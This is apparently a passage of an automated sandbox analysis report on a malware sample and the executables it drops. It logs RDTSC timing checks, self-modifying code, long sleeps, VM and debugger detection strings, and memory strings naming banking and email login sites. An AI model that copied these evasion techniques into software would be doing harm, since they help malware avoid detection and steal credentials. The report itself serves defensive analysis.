Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B1F second address: 49B0B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B23 second address: 49B0B34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B34 second address: 49B0B3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B3A second address: 49B0B56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esp, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F27CCB240DEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B56 second address: 49B0B65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0014 second address: 49D0076 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov dh, 9Dh 0x0000000d mov eax, 3E75BB99h 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F27CCB240DEh 0x0000001b xor si, FF28h 0x00000020 jmp 00007F27CCB240DBh 0x00000025 popfd 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F27CCB240E5h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0CE6 second address: 49C0D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F27CD375EEFh 0x00000009 pushfd 0x0000000a jmp 00007F27CD375EF8h 0x0000000f xor cx, 81F8h 0x00000014 jmp 00007F27CD375EEBh 0x00000019 popfd 0x0000001a pop eax 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0D2C second address: 49C0D32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0D32 second address: 49C0D37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40671 second address: 4A40675 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40675 second address: 4A4067B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4067B second address: 4A40690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F27CCB240E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40690 second address: 4A406AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007F27CD375EEAh 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A406AC second address: 4A406B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A406B0 second address: 4A406CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A406CD second address: 4A406F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F27CCB240E7h 0x00000008 mov ch, 33h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A406F3 second address: 4A40713 instructions: 0x00000000 rdtsc 0x00000002 mov ax, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jmp 00007F27CD375EEFh 0x0000000c popad 0x0000000d pop ebp 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 mov eax, 7B90DCC1h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3094A second address: 4A3094E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3094E second address: 4A30954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30954 second address: 4A30989 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F27CCB240DCh 0x00000009 jmp 00007F27CCB240E5h 0x0000000e popfd 0x0000000f mov si, 1C77h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30989 second address: 4A3098D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3098D second address: 4A30993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30993 second address: 4A30999 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A307B4 second address: 4A307BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A307BA second address: 4A307BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A307BE second address: 4A307C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A307C2 second address: 4A307E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F27CD375EF6h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A307E8 second address: 4A307EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A307EC second address: 4A307F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D02E8 second address: 49D02FA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov cx, 1DDFh 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D02FA second address: 49D0300 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0300 second address: 49D0306 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0306 second address: 49D030A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D030A second address: 49D0319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0319 second address: 49D031D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D031D second address: 49D0321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0321 second address: 49D0327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0327 second address: 49D032C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 792BC9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7917B4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7BB7BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B02BC9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B017B4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B2B7BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Special instruction interceptor: First address: 8C7E10 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Special instruction interceptor: First address: 8C7D21 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Special instruction interceptor: First address: A689B1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Special instruction interceptor: First address: A96601 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Special instruction interceptor: First address: 139DB39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Special instruction interceptor: First address: 139DC48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Special instruction interceptor: First address: 153A141 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Special instruction interceptor: First address: 1538769 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Special instruction interceptor: First address: 154BB83 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Special instruction interceptor: First address: 15CCE31 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Special instruction interceptor: First address: 5DDE39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Special instruction interceptor: First address: 66F426 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Special instruction interceptor: First address: 5CBDB80 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Special instruction interceptor: First address: 5CBDAA3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Special instruction interceptor: First address: 5E61A14 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Special instruction interceptor: First address: CBB9DE instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Memory allocated: 1850000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Memory allocated: 31D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Memory allocated: 51D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Memory allocated: 5920000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Memory allocated: 6920000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Memory allocated: 6A50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Memory allocated: 7A50000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04A30D13 rdtsc

0_2_04A30D13

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7740	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7716	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7716	Thread sleep time: -102051s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7700	Thread sleep count: 280 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7700	Thread sleep time: -8400000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7732	Thread sleep count: 90 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7732	Thread sleep time: -180090s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7736	Thread sleep count: 86 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7736	Thread sleep time: -172086s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7712	Thread sleep count: 77 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7712	Thread sleep time: -154077s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7728	Thread sleep count: 80 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7728	Thread sleep time: -160080s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7724	Thread sleep count: 73 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7724	Thread sleep time: -146073s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7700	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe TID: 7964	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe TID: 7968	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe TID: 8064	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe TID: 7976	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe TID: 7972	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe TID: 7980	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe TID: 7988	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe TID: 7984	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe TID: 2300	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe TID: 2232	Thread sleep time: -180000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	File opened: C:\Users\user\.ms-ad	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmp, f2de4e119f.exe, 00000007.00000002.3267712652.0000000005E40000.00000040.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000002.3255686592.0000000000A4C000.00000040.00000001.01000000.0000000A.sdmp, ba94e3db0d.exe, 0000000C.00000002.3309182218.00000000005BF000.00000040.00000001.01000000.0000000D.sdmp, ef4aa82a7c.exe, 00000010.00000002.3290117798.0000000000E4D000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 324fcfa2b3.exe, 0000000A.00000002.3151382076.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3146790445.00000000009DD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: ba94e3db0d.exe, 0000000C.00000002.3314380909.0000000000F18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.0000000005883000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWs
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E3B000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000002.3253447631.00000000006B8000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000002.3253447631.00000000006F6000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3069349378.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2959290564.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3048615422.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000002.3151978215.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3086042198.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3048868595.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3256240729.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: f2de4e119f.exe, 00000007.00000002.3253447631.000000000074D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: ba94e3db0d.exe, 0000000C.00000003.3256240729.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000002.3316219494.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3154358623.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3257004403.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3289194378.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3254995716.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: f2de4e119f.exe, 00000007.00000003.3133068689.0000000000766000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__X
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: c6628554c1.exe, 0000000B.00000003.3059322642.00000000009F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
